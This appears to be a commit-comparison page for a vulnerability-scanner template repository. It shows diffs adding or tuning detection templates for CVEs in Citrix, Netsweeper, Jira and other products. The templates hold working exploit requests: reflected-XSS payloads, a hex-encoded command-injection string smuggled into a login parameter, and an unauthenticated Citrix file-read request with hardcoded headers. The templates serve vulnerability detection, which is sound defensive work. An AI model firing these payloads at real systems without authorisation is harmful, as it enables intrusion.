Compare commits

...
39 Commits
Author SHA1 Message Date
bauthard 2ff5be0a36 Merge pull request #233 from bauthard/master
template for CVE-2020-8193 detection
2020-07-11 23:59:37 +05:30
bauthard d21129b102 Merge pull request #236 from dwisiswant0/add-cves
Add CVEs - CVE-2020-8191 & CVE-2020-8194
2020-07-11 23:53:15 +05:30
Dwi Siswanto dd8e298fdc 🔨 Update severity - CVE-2020-8191 2020-07-12 00:54:36 +07:00
Dwi Siswanto 624c89931c 🔥 Add Citrix ADC/Gateway Reflected XSS - CVE-2020-8191 2020-07-12 00:53:33 +07:00
Dwi Siswanto 0c74115ffd 🔥 Add Citrix ADC/Gateway Reflected Code Injection - CVE-2020-8194 2020-07-12 00:52:28 +07:00
bauthard d25b3ec59f Merge pull request #234 from nahoragg/patch-1
header matcher update
2020-07-11 18:09:49 +05:30
bauthard 72c8efa99f Update springboot-detect.yaml 2020-07-11 18:09:10 +05:30
nahoragg 400852776b header matcher update
Came across a condition where this template wasn't matching because the application was sending "application/vnd.spring-boot.actuator.v2+json;charset=UTF-8" instead of "application/json" in content-type header of response.
2020-07-11 18:05:36 +05:30
bauthard b15494d59e tempalte for CVE-2020-8193 detection 2020-07-11 15:45:20 +05:30
bauthard 86059048ae fixing few last one 2020-07-11 12:02:02 +05:30
bauthard 7e7afed768 fixing few templates
need to confirm this before adding this again
2020-07-11 11:39:55 +05:30
bauthard 9f5a756753 Update slack-access-token.yaml 2020-07-11 11:22:19 +05:30
bauthard 5a6bddd7c9 adding condition 2020-07-11 11:20:35 +05:30
bauthard f1eabdefd1 Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates 2020-07-11 10:36:40 +05:30
bauthard 9f5c7e7457 Update front-page-misconfig.yaml 2020-07-11 10:36:03 +05:30
bauthard 292197f823 Merge pull request #231 from dwisiswant0/fix-false-positives
Fix from False-positive Results
2020-07-11 03:33:19 +05:30
Dwi Siswanto d634b2710c 🔨 Fix CVE-2018-5230 from false-positives 2020-07-11 03:38:48 +07:00
Dwi Siswanto 8bb2915b01 🔨 Fix CVE-2020-8512 from false-positives 2020-07-11 03:30:14 +07:00
Dwi Siswanto f216354342 🔨 Fix CVE-2018-19439 from false-positives 2020-07-11 03:12:41 +07:00
Dwi Siswanto 3a2ecdf809 🔨 Fix jolokia-instance from false-positives 2020-07-11 03:04:58 +07:00
Dwi Siswanto 44b27d7939 🔨 Fix exposed-docker-api from false-positives 2020-07-11 02:59:05 +07:00
bauthard de35ddc8a5 Update telerik-dialoghandler-detect.yaml 2020-07-10 15:37:53 +05:30
bauthard 5e9005e2db Update CVE-2017-7529.yaml 2020-07-10 15:08:52 +05:30
bauthard ee41cc2b3d Merge pull request #227 from harsh-bothra/patch-10
Create CVE-2017-6360.yaml
2020-07-10 14:22:40 +05:30
bauthard e67853ce9d Merge pull request #228 from harsh-bothra/patch-11
Create CVE-2017-6361.yaml
2020-07-10 14:22:29 +05:30
bauthard 2a37e53ed4 Update CVE-2017-6360.yaml 2020-07-10 14:19:05 +05:30
bauthard 2bc59cd709 Update CVE-2017-6361.yaml 2020-07-10 14:17:33 +05:30
bauthard 4b04635a8f Merge pull request #229 from Marmelatze/CVE-2017-7529
improve CVE-2017-7529 detection
2020-07-10 13:52:51 +05:30
bauthard f5b2e1b794 Update CVE-2017-7529.yaml 2020-07-10 13:51:33 +05:30
Florian Pfitzer 965e5947cd improve CVE-2017-7529 detection 2020-07-09 13:12:36 +02:00
bauthard 08e082242c Merge pull request #226 from dwisiswant0/fix-false-positives
Fix multiple false-positives
2020-07-09 12:54:16 +05:30
Harsh Bothra aa2fa6a6c2 Create CVE-2017-6361.yaml
Command Injection in authLogin.cgi 'reboot_notice_msg'
2020-07-09 12:40:32 +05:30
Harsh Bothra 704fb54ecc Create CVE-2017-6360.yaml
Command Injection in userConfig.cgi cloudPersonalSmtp 'hash'
2020-07-09 12:37:53 +05:30
dw1 a4f05086d0 🔨 Fix false-positives laravel-env 2020-07-09 03:54:41 +07:00
dw1 af4ba60694 Merge branch 'fix-false-positives' of github.com:dwisiswant0/nuclei-templates into fix-false-positives 2020-07-09 03:48:05 +07:00
dw1 10592308d3 🔨 Fix false-positives - CVE-2018-20824 2020-07-09 03:47:36 +07:00
dw1 08f950e425 🔨 Fix false-positives - CVE-2020-8115 2020-07-09 03:45:08 +07:00
dw1 0ab076bf9a 🔨 Update matchers causes false-positives - CVE-2020-8115 2020-07-09 03:22:44 +07:00
dw1 3206089f45 🔨 Update payload due to false-positives - CVE-2020-13167 2020-07-09 03:02:14 +07:00
24 changed files with 167 additions and 32 deletions

No files matched your search

+2
View File
@@ -9,6 +9,8 @@ requests:
- method: GET
path:
- '{{BaseURL}}'
matchers-condition: and
matchers:
- type: dsl
dsl:
+2 -2
View File
@@ -26,5 +26,5 @@ requests:
- 206
- type: word
words:
- nginx
part: header
- Content-Range
part: all
+2 -2
View File
@@ -2,7 +2,7 @@ id: CVE-2018-19439
info:
name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
author: madrobot
author: madrobot & dwisiswant0
severity: high
requests:
@@ -12,5 +12,5 @@ requests:
matchers:
- type: word
words:
- "<script>alert(1337)</script>"
- "<script>alert(1337)</script><!--</TITLE>"
part: body
+4 -4
View File
@@ -2,7 +2,7 @@ id: CVE-2018-20824
info:
name: Atlassian Jira WallboardServlet XSS
author: madrobot
author: madrobot & dwisiswant0
severity: medium
requests:
@@ -14,7 +14,7 @@ requests:
- type: status
status:
- 200
- type: word
words:
- alert(document.domain)
- type: regex
regex:
- (?mi)timeout:\salert\(document\.domain\)
part: body
+1 -1
View File
@@ -16,5 +16,5 @@ requests:
- 200
- type: word
words:
- "javascript:alert(1337)"
- "SRC=\"javascript:alert(1337)\">"
part: body
+3 -3
View File
@@ -23,9 +23,9 @@ info:
requests:
- method: GET
path:
# Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/nonexistent
- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6e6f6e6578697374656e74%27.decode%28%27hex%27%29%29%23&timeout=5"
- "{{BaseURL}}/webadmin/nonexistent"
# Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out
- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
- "{{BaseURL}}/webadmin/out"
headers:
Referer: "http://{{Hostname}}/webadmin/admin/service_manager_data.php"
User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
+4 -4
View File
@@ -2,7 +2,7 @@ id: CVE-2020-8115
info:
name: Revive Adserver XSS
author: madrobot
author: madrobot & dwisiswant0
severity: medium
requests:
@@ -14,7 +14,7 @@ requests:
- type: status
status:
- 200
- type: word
words:
- "alert(1337)"
- type: regex
part: body
regex:
- (?mi)window\.location\.replace\(".*alert\(1337\)
+34
View File
@@ -0,0 +1,34 @@
id: CVE-2020-8191
info:
name: Citrix ADC & NetScaler Gateway Reflected XSS
# Leads to RCE
author: dwisiswant0
severity: high
requests:
- raw:
- |
POST /menu/stapp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
X-NITRO-USER: xpyZxwy6
sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot
matchers-condition: and
matchers:
- type: word
words:
- "</title><script>alert(31337)</script>"
part: body
- type: status
status:
- 200
+32
View File
@@ -0,0 +1,32 @@
id: CVE-2020-8193
info:
name: Citrix unauthenticated LFI
author: pdteam
severity: high
# Source:- https://github.com/jas502n/CVE-2020-8193
# This template covers only detection part, use the above exploit for the exploit confirmation.
requests:
- raw:
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/xml
X-NITRO-USER: xpyZxwy6
X-NITRO-PASS: xWXHUJ56
<appfwprofile><login></login></appfwprofile>
matchers-condition: and
matchers:
- type: word
words:
- "Set-Cookie: SESSID"
part: header
- type: status
status:
- 406
+34
View File
@@ -0,0 +1,34 @@
id: CVE-2020-8194
info:
name: Citrix ADC & NetScaler Gateway Reflected Code Injection
author: dwisiswant0
severity: high
requests:
- raw:
- |
GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: startupapp=st
Upgrade-Insecure-Requests: 1
matchers-condition: and
matchers:
- type: word
words:
- "<jnlp codebase=\"nonexistent.1337\">"
part: body
- type: word
words:
- "application/x-java-jnlp-file"
part: header
- type: status
status:
- 200
+6 -3
View File
@@ -2,7 +2,7 @@ id: CVE-2020-8512
info:
name: IceWarp WebMail XSS
author: pdnuclei
author: pdnuclei & dwisiswant0
severity: medium
# source:- https://www.exploit-db.com/exploits/47988
@@ -13,9 +13,12 @@ requests:
path:
- '{{BaseURL}}/webmail/?color="><svg/onload=alert(document.domain)>"'
- '{{BaseURL}}:32000/webmail/?color="><svg/onload=alert(document.domain)>"'
matchers-condition: and
matchers:
- type: word
words:
- "<svg/onload=alert(document.domain)>"
- "<svg/onload=alert(document.domain)>\"\">"
part: body
- type: status
status:
- 200
+5 -2
View File
@@ -1,8 +1,8 @@
id: jolokia instance
id: jolokia-instance
info:
name: Jolokia Version Disclosure
author: mavericknerd
author: mavericknerd & dwisiswant0
severity: low
requests:
@@ -14,7 +14,10 @@ requests:
matchers:
- type: word
words:
- '"timestamp":'
- '"protocol":'
- '"agent":'
condition: and
- type: status
status:
- 200
+4 -4
View File
@@ -2,7 +2,7 @@ id: laravel-env
info:
name: Laravel .env file
author: pxmme1337
author: pxmme1337 & dwisiswant0
severity: medium
requests:
@@ -11,9 +11,9 @@ requests:
- "{{BaseURL}}/.env"
matchers-condition: and
matchers:
- type: word
words:
- "APP_NAME"
- type: regex
regex:
- "(?m)^APP_(NAME|ENV|KEY|DEBUG|URL)="
- type: status
status:
- 200
+1 -1
View File
@@ -10,7 +10,7 @@ requests:
- '{{BaseURL}}/Telerik.Web.UI.DialogHandler.aspx'
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers-codition: and
matchers-condition: and
matchers:
- type: status
status:
+16 -4
View File
@@ -2,16 +2,28 @@ id: exposed-docker-api
info:
name: Exposed Docker API
author: furkansenan
author: furkansenan & dwisiswant0
severity: informative
requests:
- method: GET
path:
- '{{BaseURL}}:2376/version'
- "http://{{Hostname}}/version"
- "http://{{Hostname}}:2376/version"
- "http://{{Hostname}}/v1.24/version"
- "http://{{Hostname}}:2376/v1.24/version"
matchers-condition: and
matchers:
- type: word
words:
- "Version"
- "Docker"
- "application/json"
part: header
- type: word
words:
- "KernelVersion"
- "BuildTime"
condition: and
part: body
- type: status
status:
- 200
@@ -3,8 +3,8 @@ id: front-page-misconfig
info:
name: FrontPage configuration information discloure
author: JTeles
severity: low
# reference: https://docs.microsoft.com/en-us/archive/blogs/fabdulwahab/security-protecting-sharepoint-server-applications
severity: info
# Reference: https://docs.microsoft.com/en-us/archive/blogs/fabdulwahab/security-protecting-sharepoint-server-applications
requests:
- method: GET
@@ -9,6 +9,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}/?pp=env"
matchers-condition: and
matchers:
- type: word
words:
@@ -95,6 +95,7 @@ requests:
words:
- "X-Application-Context"
- "application/json"
- "application/vnd.spring-boot.actuator.v2+json"
- "hprof"
condition: or
part: header
+2
View File
@@ -11,6 +11,8 @@ requests:
regex:
- "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
type: regex
matchers-condition: and
matchers:
- part: body
regex:
+2
View File
@@ -9,6 +9,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: regex
part: body
+2
View File
@@ -9,6 +9,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: regex
part: body
+2
View File
@@ -12,6 +12,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: regex
part: body
+2
View File
@@ -9,6 +9,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: regex
part: body
+2
View File
@@ -12,6 +12,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: regex
part: body